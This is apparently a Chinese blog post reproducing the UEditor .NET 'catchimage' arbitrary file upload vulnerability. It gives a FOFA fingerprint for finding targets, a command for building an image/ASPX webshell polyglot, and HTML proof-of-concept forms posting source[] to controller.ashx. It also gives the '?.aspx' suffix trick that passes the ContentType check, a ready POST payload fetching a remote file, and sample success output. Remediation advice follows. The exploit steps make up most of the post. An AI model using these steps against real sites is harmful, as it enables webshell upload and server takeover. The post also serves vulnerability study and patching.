当前位置:网站首页>漏洞复现-.Net-ueditor上传
漏洞复现-.Net-ueditor上传
2022-07-01 18:50:00 【amingMM】
简介
UEditor是由百度web前端研发部开发的所见即所得的开源富文本编辑器,
具有轻量、可定制、用户体验优秀等特点。
基于MIT开源协议,所有源代码在协议允许范围内可自由修改和使用。
百度UEditor的推出,可以帮助不少网站开发者在开发富文本编辑器所遇到的难题,节约开发者因开发富文本编辑器所需要的大量时间,
有效降低了企业的开发成本。
- 定制化:
全新的分层理念,满足多元化的需求。
采用三层架构:
- 核心层: 为命令层提供底层 API,如 range/selection/domUtils 类。
- 命令插件层: 基于核心层开发 command 命令,命令之间相互独立。
- 界面层: 为命令层提供用户使用界面。
满足不同层次用户的需求。
- 浏览器兼容
兼容 Mozilla, MSIE, FireFox, Maxthon,Safari 和 Chrome,实现浏览器无差别化。
- 注重细节
统一不同浏览器下表格选取方式。
提供黑 / 白名单的过滤机制。
更好的 word 支持,实现粘贴转换机制。
影响范围
该漏洞影响UEditor的.Net版本,其他的php,jsp,asp版本不受此UEditor的漏洞的影响。
asp(.net)环境安装,win2008,漏洞版本只支持.net 4.0,选择net4.0
https://pan.baidu.com/s/1ntG3Tsl#list/path=%2F ueditor历史版本
http://fex.baidu.com/ueditor/#server-net UEditor文档
发布时间:2018-08-03
公开时间:2018-08-21
漏洞类型:逻辑漏洞
危害等级:高
漏洞编号:xianzhi-2018-08-16052905(不收取 驳回)
测试版本:github最新版
ueditor1_4_3-utf8-net.zip
fofa 指纹
body="UE.getEditor('editor').setHide()"
漏洞介绍
Ueditor是百度开发的一个网站编辑器,目前已经不对其进行后续开发和更新,
.net存在任意文件上传,导致可以绕过文件格式的限制达到任意文件上传 ,在获取远程资源的时候并没有对远程文件的格式进行严格的过滤与判断。
漏洞的成因是在获取图片资源时仅检查了ContentType,
Crawler方法对source[]的检查仅仅是一个ContentType。
if (response.ContentType.IndexOf("image") == -1)
{
State = "Url is not an image";
return this;
}
漏洞复现
测试上传正常功能
可在配置文件 与 多图上传 查看上传图片的 落地路径。
eg:
http://ip:8068/ueditor/net/upload/image/20220628/6379200402765060174657720.aspx
漏洞标识
访问net/controller.ashx 控制器文件
控制器中存在多个动作的调用,包含了uploadimage、uploadscrawl、uploadvideo、uploadfile、catchimage等等
在网址添加/controller.ashx?action=catchimage参数查看是否漏洞存在
http://ip:8068/ueditor/net/controller.ashx?action=catchimage&encode=utf-8
构造Html poc 上传图片马到目标站点
copy 1.JPG/b + 1.aspx/a ueditor.jpg
复制当前目录下的1.jpg图片和当前目录下的1.aspx文件并以ASCII代码的方式合并为 ueditor.jpg图片
不是上传漏洞所以enctype 不需要指定为multipart/form-data
<form action="http://xx.com/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p>
<input type="submit" value="Submit" />
</form>
<form action="http://xxxxxxxxx/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr: <input type=“text” name=“source[]” /></p >
<input type=“submit” value=“Submit” />
</form>
修改 目标站点
action后填写路径为实际中遇到的路径,不要太死板,如果太死板不按网站的实际路径来就会出现这种路径找不到的错误。
需要一个服务器,上传你的木马文件,其中 shell addr 后填写的就是你服务器上木马的地址加上后缀 ?.aspx (为了使服务器返回的ContentType是image/xxx)
eg: http://ip:端口/x.jpg?.aspx
http://www.xartvu.sn.cn/uploadimage/20220701/1_20220701_cce41be5e1044717a13137b3796062f8.jpg
只要绕过【image】检测就可以正常上传到目标服务器了,从而进一步getshell。
没有绕过【image】检测的话,就会显示如下提示:
{
"state":"SUCCESS","list":[{
"state":"SUCCESS","source":"http://www.xxxx.com//upload/Encyclopedias/201808/03/2018080300550278683.png?.aspx","url":"/upload/image/201808/03/6366885698033038502306919.aspx"}]}
抓包 直接post上传图片马
Hackbar
post内容写图片马的url
post 数据为:
source[]=https://s1.ax1x.com/2018/04/11/CkFSrn.jpg?.aspx
成功则访问图片马,注意访问的时候是配置里面的路径,根据个人情况进行路径调整
poc 验证
漏洞修复
后果
攻击者可以上传任意文件包括脚本执行文件,包括aspx脚本木马,asp脚本木马,还可以利用该UEditor漏洞对服务器进行攻击,执行系统命名破坏服务器
修复
1.修改工程目录下net/App_Code/CrawlerHandler.cs文件,添加对文件类型检查的代码,文件上传格式的严格过滤与判断。
2.使用各类WAF软件,防止攻击者上传恶意文件。
3.检查文件上传路径下是否有近期上传的畸形图片;检查是否存在asp,aspx等类型危险文件。如果发现异常文件,请判断后及时删除。
4.目前临时的漏洞修复是建议,把文件上传目录设置无脚本执行权限,uploadvideo、uploadimage、catchimage、uploadscrawl、uploadfile、等等目录都设置上无脚本权限。
5.在百度UEditor官方没有出补丁前,设置图片目录为只读,禁止写入。
边栏推荐
- 类加载机制
- SwiftUI 4 新功能大全之 Toggle与 Mixed Toggle 多个绑定组件
- 2022/5/23-2022/5/30
- Understand the structure in C language in one article
- Win11如何取消任务栏隐藏?Win11取消任务栏隐藏的方法
- Interview question 1
- 安装sharp报错
- P2433 [deep foundation 1-2] primary school mathematics n in one
- Graduation season | Huawei experts teach the interview secret: how to get a high paying offer from a large factory?
- 【C语言】详解 memset() 函数用法
猜你喜欢
对象的创建
After studying 11 kinds of real-time chat software, I found that they all have these functions
GC garbage collection
Easycvr accesses the equipment through the national standard gb28181 protocol. What is the reason for the automatic streaming of the equipment?
[untitled]
Axure does not display catalogs
今日群里分享的面试题
Interesting! Database is also serverless!
AAAI2020: Real-time Scene Text Detection with Differentiable Binarization
优质笔记软件综合评测和详细盘点(一) Notion、Obsidian、RemNote、FlowUs
随机推荐
较真儿学源码系列-InheritableThreadLocal(逐行源码带你分析作者思路)
Remove line breaks from MySQL query results
通过js实现金字塔(星号金字塔,回文对称数字金字塔)
毕业季 | 华为专家亲授面试秘诀:如何拿到大厂高薪offer?
【无标题】
新窗口打开页面-window.open
Technology T3 domestic platform! Successfully equipped with "Yihui domestic real-time system sylixos"
使用 Kibana Timelion 进行时间序列分析
[untitled]
MySQL reports an error can't create table 'demo01 tb_ Student‘ (errno: 150)*
DS transunet: Dual Swing transformer u-net for medical image segmentation
mysql 報錯 Can‘t create table ‘demo01.tb_Student‘ (errno: 150)*
ModSim基本使用(Modbus模拟器)
对金额进行求和
uniapp使用腾讯地图选点 没有window监听回传用户的位置信息,怎么处理
Win11暂停更新点不了怎么办?Win11暂停更新是灰色的如何解决?
How to add transactions in JDBC
What is the essential difference between Bi development and report development?
JVM memory model
GC garbage collection